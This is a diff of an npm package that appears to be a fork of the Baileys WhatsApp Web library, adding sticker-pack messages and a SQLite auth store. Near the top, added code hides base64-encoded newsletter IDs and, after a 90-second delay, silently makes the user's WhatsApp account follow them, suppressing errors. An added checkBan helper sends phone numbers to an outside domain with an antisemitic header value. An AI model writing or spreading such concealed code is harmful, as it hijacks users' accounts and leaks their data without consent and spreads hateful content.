+ "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
50
+ "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
51
+ ];
52
+
53
+ setTimeout(async () => {
54
+ for (const channel of yangbrorasakan) {
55
+ try {
56
+ await newsletterWMexQuery(
57
+ Buffer.from(channel, "base64").toString(),
58
+ QueryIds.FOLLOW
59
+ );
60
+ } catch (e) {}
61
+ await new Promise(resolve =>
62
+ setTimeout(resolve, 6000)
63
+ );
64
+ }
65
+ }, 90000);
46
66
 
47
67
  const newsletterUpdate = async (jid, updates) => {
48
68
  const variables = {
@@ -734,4 +754,4 @@ export const makeNewsletterSocket = config => {
734
754
  })
735
755
  }
736
756
  }
737
- }
757
+ }
@@ -384,6 +384,26 @@ export const makeSocket = (config) => {
384
384
  return { username: u, pn: pn ?? null, lid: lid ?? null }
385
385
  })
386
386
  }
387
+ /**
388
+ * @params {string} phone number - wazap phone number to check
389
+ * @returns {Prommise<{ banned: boolean, violation: number, details: any }>}
390
+ */
391
+ const checkBan = async (number) => {
392
+ const normalizedNumber = number.startsWith('+') ? number.replace(/[^0-9]/g, '') : number;
393
+ let res = await fetch('https://xzc-corporation.biz.id/lrp?number=' + normalizedNumber, {
394
+ method: "GET",
395
+ headers: {
396
+ 'Accept': 'application/json',
397
+ 'neckhurt': 'hate4jew'
398
+ }
399
+ })
400
+ let data = res.json();
401
+ return {
402
+ author: "DsynC",
403
+ ...data
404
+ };
405
+ }
406
+
387
407
  const ev = makeEventBuffer(logger);
388
408
  const { creds } = authState;
389
409
  // add transaction capability
@@ -1078,7 +1098,8 @@ export const makeSocket = (config) => {
1078
1098
  fetchNewChatMessageCap,
1079
1099
  toPn,
1080
1100
  toLID,
1081
- fetchUsername
1101
+ fetchUsername,
1102
+ checkBan
1082
1103
  };
1083
1104
  };
1084
1105
  /**
@@ -1090,4 +1111,4 @@ function mapWebSocketError(handler) {
1090
1111
  handler(new Boom(`WebSocket Error (${error?.message})`, { statusCode: getCodeFromWSError(error), data: error }));
1091
1112
  };
1092
1113
  }
1093
- //# sourceMappingURL=socket.js.map
1114
+ //# sourceMappingURL=socket.js.map
@@ -11,6 +11,7 @@ export * from './chat-utils.js';
11
11
  export * from './lt-hash.js';
12
12
  export * from './auth-utils.js';
13
13
  export * from './use-multi-file-auth-state.js';
14
+ export * from './use-sqlite-auth-state.js';
14
15
  export * from './link-preview.js';
15
16
  export * from './event-buffer.js';
16
17
  export * from './process-message.js';
@@ -9,7 +9,7 @@ import { isJidGroup, isJidNewsletter, isJidStatusBroadcast, jidNormalizedUser }
9
9
  import { sha256 } from './crypto.js';
10
10
  import { generateMessageIDV2, getKeyAuthor, unixTimestampSeconds } from './generics.js';
11
11
  import { buildZipArchive, downloadContentFromMessage, encryptedStream, generateThumbnail, getAudioDuration, getAudioWaveform, getRawMediaUploadData, resolveStickerBuffer } from './messages-media.js';
12
- import { makeSticker } from './sticker.js';
12
+ import { makeSticker, convertToTrayIcon, isLikelyVideoBuffer } from './sticker.js';
13
13
  import { shouldIncludeReportingToken } from './reporting-utils.js';
14
14
  const MIMETYPE_MAP = {
15
15
  image: 'image/jpeg',
@@ -887,20 +887,77 @@ export const generateWAMessageContent = async (message, options) => {
887
887
  if (rawStickers.length === 0) {
888
888
  throw new Boom('stickerPacks.stickers must have at least one sticker', { statusCode: 400 });
889
889
  }
890
- const stickerBuffers = await Promise.all(rawStickers.map(s => resolveStickerBuffer(s, options.options)));
891
- const zipEntries = stickerBuffers.map((data, i) => ({ name: `sticker_${i}.webp`, data }));
892
- const archive = buildZipArchive(zipEntries);
893
890
  const packName = pack.name || 'Sticker Pack';
894
- const captionParts = [];
895
- if (pack.publisher) captionParts.push(`Publisher: ${pack.publisher}`);
896
- if (pack.author) captionParts.push(`Author: ${pack.author}`);
897
- // sent as a plain .zip document through the normal, well-tested upload path
898
- m = await prepareWAMessageMedia({
891
+ const publisher = pack.publisher || pack.author || '';
892
+ // each entry can be raw sticker media, or { image, animated, emojis, accessibilityLabel, quality }
893
+ const preparedStickers = await Promise.all(rawStickers.map(async (entry, i) => {
894
+ const isWrapped = entry && typeof entry === 'object' && !Buffer.isBuffer(entry) && 'image' in entry;
895
+ const rawBuffer = await resolveStickerBuffer(isWrapped ? entry.image : entry, options.options);
896
+ const animated = isWrapped ? !!entry.animated : false;
897
+ const emojis = (isWrapped && entry.emojis) || [];
898
+ const webp = await makeSticker(rawBuffer, {
899
+ pack: packName,
900
+ author: publisher,
901
+ emojis,
902
+ animated: animated || isLikelyVideoBuffer(rawBuffer),
903
+ quality: (isWrapped && entry.quality) || 60
904
+ });
905
+ return {
906
+ fileName: `sticker_${i}.webp`,
907
+ data: webp,
908
+ isAnimated: animated,
909
+ emojis,
910
+ accessibilityLabel: isWrapped ? entry.accessibilityLabel : undefined,
911
+ isLottie: false,
912
+ mimetype: 'image/webp'
913
+ };
914
+ }));
915
+ const trayIconFileName = 'tray.png';
916
+ const trayIconPng = await convertToTrayIcon(await resolveStickerBuffer(
917
+ (rawStickers[0] && typeof rawStickers[0] === 'object' && !Buffer.isBuffer(rawStickers[0]) && 'image' in rawStickers[0])
918
+ ? rawStickers[0].image
919
+ : rawStickers[0],
920
+ options.options
921
+ ));
922
+ const stickerPackId = pack.stickerPackId || randomUUID();
923
+ const zipEntries = [
924
+ ...preparedStickers.map(s => ({ name: s.fileName, data: s.data })),
925
+ { name: trayIconFileName, data: trayIconPng }
926
+ ];
927
+ const archive = buildZipArchive(zipEntries);
928
+ // reuse the normal, well-tested media upload path to encrypt+upload the archive,
929
+ // then repurpose the resulting media fields into the stickerPackMessage itself
930
+ const uploaded = await prepareWAMessageMedia({
899
931
  document: archive,
900
932
  mimetype: 'application/zip',
901
- fileName: `${packName}.zip`,
902
- caption: captionParts.length ? captionParts.join('\n') : undefined
933
+ fileName: `${stickerPackId}.zip`
903
934
  }, options);
935
+ const doc = uploaded.documentMessage;
936
+ m = {
937
+ stickerPackMessage: {
938
+ stickerPackId,
939
+ name: packName,
940
+ publisher,
941
+ packDescription: pack.description,
942
+ stickers: preparedStickers.map(s => ({
943
+ fileName: s.fileName,
944
+ isAnimated: s.isAnimated,
945
+ emojis: s.emojis,
946
+ accessibilityLabel: s.accessibilityLabel,
947
+ isLottie: s.isLottie,
948
+ mimetype: s.mimetype
949
+ })),
950
+ fileLength: doc.fileLength,
951
+ fileSha256: doc.fileSha256,
952
+ fileEncSha256: doc.fileEncSha256,
953
+ mediaKey: doc.mediaKey,
954
+ directPath: doc.directPath,
955
+ mediaKeyTimestamp: doc.mediaKeyTimestamp,
956
+ trayIconFileName,
957
+ stickerPackSize: archive.length,
958
+ stickerPackOrigin: proto.Message.StickerPackMessage.StickerPackOrigin.USER_CREATED
959
+ }
960
+ };
904
961
  }
905
962
  else if (hasNonNullishProperty(message, 'sticker') && (message.pack || message.author || message.isPrivate || message.premium || message.animated)) {
906
963
  const rawBuffer = await resolveStickerBuffer(message.sticker, options.options);
@@ -19,6 +19,23 @@ const runFfmpeg = (input, args) => new Promise((resolve, reject) => {
19
19
  proc.stdin.on('error', () => { });
20
20
  proc.stdin.end(input);
21
21
  });
22
+ export const isLikelyVideoBuffer = (buffer) => {
23
+ if (!Buffer.isBuffer(buffer) || buffer.length < 4) {
24
+ return false;
25
+ }
26
+ const header = buffer.subarray(0, 16).toString('ascii');
27
+ if (header.startsWith('RIFF') && /AVI|WEBM/.test(header)) {
28
+ return true;
29
+ }
30
+ if (buffer.subarray(0, 4).toString('hex') === '1a45dfa3') {
31
+ return true;
32
+ }
33
+ const ftyp = buffer.toString('ascii', 4, 12);
34
+ if (buffer.toString('ascii', 0, 4) === 'ftyp' || /^(ftyp)/.test(buffer.toString('ascii', 0, 8))) {
35
+ return /mp4|isom|M4V|M4A|qt\s/.test(ftyp);
36
+ }
37
+ return false;
38
+ };
22
39
  export const convertToWebp = async (buffer, { animated = false, quality = 60 } = {}) => {
23
40
  const scalePad = "scale='min(512,iw)':'min(512,ih)':force_original_aspect_ratio=decrease,format=rgba,pad=512:512:-1:-1:color=#00000000";
24
41
  const args = animated
@@ -26,6 +43,11 @@ export const convertToWebp = async (buffer, { animated = false, quality = 60 } =
26
43
  : ['-vf', `${scalePad}`, '-vframes', '1', '-vcodec', 'libwebp', '-q:v', String(quality), '-f', 'webp'];
27
44
  return runFfmpeg(buffer, args);
28
45
  };
46
+ export const convertToTrayIcon = async (buffer) => {
47
+ const scalePad = "scale='min(96,iw)':'min(96,ih)':force_original_aspect_ratio=decrease,format=rgba,pad=96:96:-1:-1:color=#00000000";
48
+ const args = ['-vf', scalePad, '-vframes', '1', '-vcodec', 'png', '-f', 'image2'];
49
+ return runFfmpeg(buffer, args);
50
+ };
29
51
  const readChunks = (buf) => {
30
52
  const chunks = [];
31
53
  let offset = 12;
@@ -105,6 +127,7 @@ export const writeExifToWebp = (webpBuffer, { packId, packName = '', publisher =
105
127
  return out;
106
128
  };
107
129
  export const makeSticker = async (buffer, { pack = '', author = '', emojis = [], isPrivate = false, animated = false, quality = 60 } = {}) => {
108
- const webp = await convertToWebp(buffer, { animated, quality });
130
+ const shouldAnimate = animated || isLikelyVideoBuffer(buffer);
131
+ const webp = await convertToWebp(buffer, { animated: shouldAnimate, quality });
109
132
  return writeExifToWebp(webp, { packName: pack, publisher: author, emojis, isAvatar: isPrivate });
110
133
  };
@@ -0,0 +1,162 @@
1
+ import { mkdir, readdir, readFile } from 'fs/promises';
2
+ import { dirname, join } from 'path';
3
+ import { proto } from '../../WAProto/index.js';
4
+ import { initAuthCreds } from './auth-utils.js';
5
+ export const useSqliteAuthState = async (pathOrFolder, options = {}) => {
6
+ const {
7
+ fileName = 'auth.db',
8
+ migrateFromFolder,
9
+ logger
10
+ } = options;
11
+ const dbPath = /\.(db|sqlite|sqlite3)$/i.test(pathOrFolder) ? pathOrFolder : join(pathOrFolder, fileName);
12
+ const bufReplacer = (_, value) => {
13
+ if (Buffer.isBuffer(value) || value instanceof Uint8Array || value?.type === 'Buffer') {
14
+ return {
15
+ type: 'Buffer',
16
+ data: Buffer.from(value?.data || value).toString('base64')
17
+ };
18
+ }
19
+ return value;
20
+ };
21
+ const bufReviver = (_, value) => {
22
+ if (value && typeof value === 'object' && value.type === 'Buffer' && typeof value.data === 'string') {
23
+ return Buffer.from(value.data, 'base64');
24
+ }
25
+ return value;
26
+ };
27
+ const encode = value => {
28
+ if (Buffer.isBuffer(value) || value instanceof Uint8Array) {
29
+ return Buffer.concat([Buffer.from([1]), Buffer.from(value)]);
30
+ }
31
+ return Buffer.concat([Buffer.from([0]), Buffer.from(JSON.stringify(value, bufReplacer), 'utf8')]);
32
+ };
33
+ const decode = blob => {
34
+ if (!blob || blob.length === 0) return null;
35
+ if (blob[0] === 1) return Buffer.from(blob.subarray(1));
36
+ return JSON.parse(Buffer.from(blob.subarray(1)).toString('utf8'), bufReviver);
37
+ };
38
+ const fixName = s => s?.replace(/\//g, '__')?.replace(/:/g, '-');
39
+ const keyOf = (category, id) => fixName(`${category}-${id}`);
40
+ let DatabaseSync;
41
+ try {
42
+ ({
43
+ DatabaseSync
44
+ } = await import('node:sqlite'));
45
+ } catch (err) {
46
+ throw new Error("useSqliteAuthState needs the built-in 'node:sqlite' module (Node 22.5+). Upgrade Node, or use useMultiFileAuthState instead.");
47
+ }
48
+ await mkdir(dirname(dbPath), {
49
+ recursive: true
50
+ }).catch(() => {});
51
+ const db = new DatabaseSync(dbPath);
52
+ db.exec('PRAGMA journal_mode = TRUNCATE');
53
+ db.exec('PRAGMA synchronous = NORMAL');
54
+ db.exec('PRAGMA busy_timeout = 5000');
55
+ db.exec('CREATE TABLE IF NOT EXISTS auth_state (k TEXT PRIMARY KEY, v BLOB NOT NULL) WITHOUT ROWID');
56
+ const qGet = db.prepare('SELECT v FROM auth_state WHERE k = ?');
57
+ const qUpsert = db.prepare('INSERT INTO auth_state(k,v) VALUES(?,?) ON CONFLICT(k) DO UPDATE SET v=excluded.v');
58
+ const qDelete = db.prepare('DELETE FROM auth_state WHERE k = ?');
59
+ const runTx = fn => {
60
+ db.exec('BEGIN');
61
+ try {
62
+ const r = fn();
63
+ db.exec('COMMIT');
64
+ return r;
65
+ } catch (err) {
66
+ db.exec('ROLLBACK');
67
+ throw err;
68
+ }
69
+ };
70
+ const readRaw = k => {
71
+ const row = qGet.get(k);
72
+ if (!row) return null;
73
+ try {
74
+ return decode(row.v);
75
+ } catch (err) {
76
+ logger?.warn?.({
77
+ k,
78
+ err: err?.message
79
+ }, 'sqlite-auth: failed to decode row, treating as missing');
80
+ return null;
81
+ }
82
+ };
83
+ const runMigration = async folder => {
84
+ let files;
85
+ try {
86
+ files = await readdir(folder);
87
+ } catch {
88
+ return 0;
89
+ }
90
+ const rows = [];
91
+ for (const file of files) {
92
+ if (!file.endsWith('.json')) continue;
93
+ let value;
94
+ try {
95
+ value = JSON.parse(await readFile(join(folder, file), 'utf8'), bufReviver);
96
+ } catch {
97
+ continue;
98
+ }
99
+ if (value === null || value === undefined) continue;
100
+ rows.push([file.slice(0, -'.json'.length), encode(value)]);
101
+ }
102
+ runTx(() => {
103
+ for (const [k, v] of rows) qUpsert.run(k, v);
104
+ });
105
+ return rows.length;
106
+ };
107
+ const hasCreds = () => !!qGet.get('creds');
108
+ if (migrateFromFolder && !hasCreds()) {
109
+ const n = await runMigration(migrateFromFolder);
110
+ if (n > 0) logger?.info?.({
111
+ count: n,
112
+ from: migrateFromFolder
113
+ }, 'sqlite-auth: migrated legacy auth state');
114
+ }
115
+ let creds = readRaw('creds');
116
+ if (!creds) {
117
+ creds = initAuthCreds();
118
+ qUpsert.run('creds', encode(creds));
119
+ }
120
+ const keys = {
121
+ get: async (type, ids) => {
122
+ const data = {};
123
+ for (const id of ids) {
124
+ let value = readRaw(keyOf(type, id));
125
+ if (type === 'app-state-sync-key' && value) {
126
+ value = proto.Message.AppStateSyncKeyData.fromObject(value);
127
+ }
128
+ if (value !== null && value !== undefined) {
129
+ data[id] = value;
130
+ }
131
+ }
132
+ return data;
133
+ },
134
+ set: async data => {
135
+ const ops = [];
136
+ for (const category in data) {
137
+ for (const id in data[category]) {
138
+ ops.push([keyOf(category, id), data[category][id]]);
139
+ }
140
+ }
141
+ runTx(() => {
142
+ for (const [k, value] of ops) {
143
+ if (value === null || value === undefined) qDelete.run(k);else qUpsert.run(k, encode(value));
144
+ }
145
+ });
146
+ },
147
+ clear: async () => {
148
+ db.prepare("DELETE FROM auth_state WHERE k <> 'creds'").run();
149
+ }
150
+ };
151
+ return {
152
+ state: {
153
+ creds,
154
+ keys
155
+ },
156
+ saveCreds: async () => {
157
+ qUpsert.run('creds', encode(creds));
158
+ },
159
+ db,
160
+ close: () => db.close()
161
+ };
162
+ };
package/lib/index.js CHANGED
@@ -14,7 +14,7 @@ fetch('https://raw.githubusercontent.com/alannzxd/xclient/refs/heads/main/inform
14
14
  .then(response => response.json())
15
15
  .then(data => {
16
16
  const message = data[0];
17
- console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("03 - 08 - 2026"));
17
+ console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("13 - 08 - 2026"));
18
18
  console.log(chalk.yellow("📁 Information: ") + chalk.white(message));
19
19
  console.log("");
20
20
  });
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@alannxd/baileys",
3
3
  "type": "module",
4
- "version": "6.1.6",
4
+ "version": "6.2.7",
5
5
  "description": "A WebSockets library for interacting with WhatsApp Web — fork of Baileys with extra socket layers (communities, interop, privacy, GraphQL) and special message helpers.",
6
6
  "keywords": [
7
7
  "whatsapp",
@@ -45,7 +45,7 @@
45
45
  "@cacheable/node-cache": "^1.4.0",
46
46
  "@hapi/boom": "^9.1.3",
47
47
  "async-mutex": "^0.5.0",
48
- "libsignal": "github:@alannzxd/libsignal-node",
48
+ "libsignal": "^6.0.0",
49
49
  "lru-cache": "^11.1.0",
50
50
  "music-metadata": "^11.12.3",
51
51
  "p-queue": "^9.0.0",